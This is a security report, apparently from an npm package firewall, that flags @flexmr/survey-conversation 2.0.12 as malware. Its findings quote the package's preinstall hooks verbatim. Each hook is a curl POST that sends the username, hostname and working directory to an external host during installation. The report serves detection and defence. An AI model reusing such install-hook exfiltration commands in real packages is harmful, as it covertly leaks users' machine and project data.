--- canonical: "https://firewall.lpm.dev/npm/@flexmr/survey-conversation" markdown: "https://firewall.lpm.dev/npm/@flexmr/survey-conversation/v/2.0.12.md" package: "@flexmr/survey-conversation" report_status: "published" title: "@flexmr/survey-conversation@2.0.12 npm security report" verdict: "malicious" version: "2.0.12" --- # @flexmr/survey-conversation@2.0.12 npm security report > **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — Identifying host and project information is disclosed to an unrelated external service without an evident consent guard. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Block by default - **Public report status:** Published - **Threat category:** Malware - **Selected version:** 2.0.12 - **Selected version is latest:** No - **Analysis source:** AI Security Review (lpm-firewall-ai) LPM AI independently confirmed malicious behavior in this version and supplies the Firewall block. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. The root manifest activates a remote dependency whose platform-specific preinstall hooks automatically send identifying host and project data to an unrelated endpoint. This is an installation-time disclosure, supporting a block for install hook abuse. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 99.0% - **Started:** 2026-10-16T11:12:48.814Z - **Finished:** 2026-10-16T11:13:17.257Z - **Download time:** 1535 ms - **Static scan time:** 4 ms - **AI review time:** 26903 ms - **Total time:** 28443 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** Installing this package installs a remote dependency whose preinstall hook discloses machine and project identifiers to an external endpoint. - **Trigger:** Installation of the root package triggers the dependency's preinstall hook. - **Impact:** Identifying host and project information is disclosed to an unrelated external service without an evident consent guard. - **Evidence paths:** package.json, .lpm-dependency-evidence-b6026680-414f-4710-a76a-e9b72ae6c403/0/npm-linux/package.json, .lpm-dependency-evidence-b6026680-414f-4710-a76a-e9b72ae6c403/0/npm-darwin/package.json - **Review source:** ai\_review - **Reviewed:** 2026-10-16T11:13:17.257Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** The hook collects the current username, hostname, and working directory, then sends them in an HTTP POST request. - **Attack narrative:** Installing the package pulls a remote dependency. Its npm Linux and Darwin manifests define preinstall hooks that collect the username, hostname, and working directory and POST that information to an external endpoint. The reviewed source shows no consent guard for this installation-time disclosure. - **Rationale:** The root manifest activates a remote dependency whose platform-specific preinstall hooks automatically send identifying host and project data to an unrelated endpoint. This is an installation-time disclosure, supporting a block for install hook abuse. - **Files touched:** package.json, .lpm-dependency-evidence-b6026680-414f-4710-a76a-e9b72ae6c403/0/npm-linux/package.json, .lpm-dependency-evidence-b6026680-414f-4710-a76a-e9b72ae6c403/0/npm-darwin/package.json - **Network endpoints:** https://artifacts.creditslib.com/api/pings ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** The root manifest installs a remote dependency, activating its install lifecycle during package installation., The dependency's npm Linux preinstall sends the username, hostname, and working directory to an unrelated external endpoint., The dependency's npm Darwin preinstall performs the same collection and send. ## Affected versions and remediation This report applies to @flexmr/survey-conversation@2.0.12. - Avoid installing @flexmr/survey-conversation@2.0.12. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() The root manifest installs a remote dependency, activating its install lifecycle during package installation. Public source snippet (untrusted): ```json "cache-format-syntax-tracer": "https://artifacts.creditslib.com/npm/cache-format-syntax-tracer" } } ``` ### 2. High: Suspicious Dependency Evidence - **Category:** Dependency - **Confidence:** 99.0% - **Path:** .lpm-dependency-evidence-b6026680-414f-4710-a76a-e9b72ae6c403/0/npm-linux/package.json - **Public source:** [View source]() The dependency's npm Linux preinstall sends the username, hostname, and working directory to an unrelated external endpoint. Public source snippet (untrusted): ```json "preinstall": "curl -X POST -H 'Content-Type: application/json' https://artifacts.creditslib.com/api/pings --data '{\"event_id\":\"c7b4c0df-c294-4a19-b199-3a39039a793e\", \"source_type\":\"http\", \"package\":\"@flexmr/survey-conversation\",\"details\":{\"whoami\":\"'$(whoami)'\", \"hostname\":\"'$(hostname)'\", \"pwd\":\"'$(pwd)'\"}}'" } } ``` ### 3. High: Suspicious Dependency Evidence - **Category:** Dependency - **Confidence:** 99.0% - **Path:** .lpm-dependency-evidence-b6026680-414f-4710-a76a-e9b72ae6c403/0/npm-darwin/package.json - **Public source:** [View source]() The dependency's npm Darwin preinstall performs the same collection and send. Public source snippet (untrusted): ```json "preinstall": "curl -X POST -H 'Content-Type: application/json' https://artifacts.creditslib.com/api/pings --data '{\"event_id\":\"620ddcfe-1abb-4012-8c8e-a3a8300ec22f\", \"source_type\":\"http\", \"package\":\"@flexmr/survey-conversation\",\"details\":{\"whoami\":\"'$(whoami)'\", \"hostname\":\"'$(hostname)'\", \"pwd\":\"'$(pwd)'\"}}'" } } ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 1 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 1 ### Published dependency entries - cache-format-syntax-tracer https://artifacts.creditslib.com/npm/cache-format-syntax-tracer (Dependency) ## Package metadata - **Package:** @flexmr/survey-conversation - **Ecosystem:** npm - **Version:** 2.0.12 - **License:** MIT - **Version published:** 2026-10-14T02:53:42.645Z - **Package first seen:** 2026-10-16T10:48:14.572Z - **Package last seen:** 2026-10-16T11:13:51.716Z - **Known versions:** 5 - **Latest version:** 10.0.12 - **Appeal under review:** No - **Description:** Generated package - **Author:** Package Registry - **Artifact files:** 4 - **Artifact unpacked size:** 810 bytes - **Artifact signatures:** 2 - **Attestations:** No ## References - [HTML security report]() - [Repository]() - [OpenSSF/OSV advisory]() - [OpenSSF JSON]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]()